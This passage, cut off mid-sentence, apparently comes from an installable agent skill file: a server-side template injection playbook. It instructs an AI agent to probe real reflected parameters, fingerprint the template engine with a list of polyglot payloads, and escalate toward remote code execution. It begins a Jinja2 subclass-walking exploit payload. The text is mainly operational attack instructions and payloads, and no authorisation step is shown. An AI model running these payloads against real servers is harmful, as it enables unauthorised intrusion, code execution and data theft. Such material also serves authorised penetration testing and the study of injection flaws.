sstilisted
Install: claude install-skill Wulan234/agent
# SSTI playbook
You suspect user input is concatenated into a server-side template. The classic tell: `{{7*7}}` renders as `49` (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`/curl.
## 1. Fingerprint the engine — fast
Use `read_payloads(skill="ssti", file="fingerprint-polyglot.txt")` for the canonical multi-engine probe:
```
${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}
```
Cross-reference results:
| Render result | Engine |
|---|---|
| `49` from `{{7*7}}` AND `7777777` from `{{7*'7'}}` | **Jinja2** (Python) |
| `49` from `{{7*7}}` AND `49` from `{{7*'7'}}` | **Twig** (PHP) |
| `49` from `${7*7}` | **Velocity** / **Freemarker** / Mako (probe further) |
| `49` from `<%= 7*7 %>` | **ERB** (Ruby) / EJS (Node) |
| `49` from `*{7*7}` | **Smarty** |
| Output of `{{7*7}}` literally | Not an SSTI primitive — look elsewhere |
Distinguish Velocity from Freemarker: `${"foo".getClass()}` returns `class java.lang.String` for both; **Freemarker** chokes on `<#assign>` outside a template block; **Velocity** specifically renders `#set($x=7*7)$x` as `49`.
## 2. Engine-specific exploitation
### Jinja2 (Python, Flask)
```
{{ ''.__class__.__mro__[1].__subclasses__() }}
```
Find an index where the subcl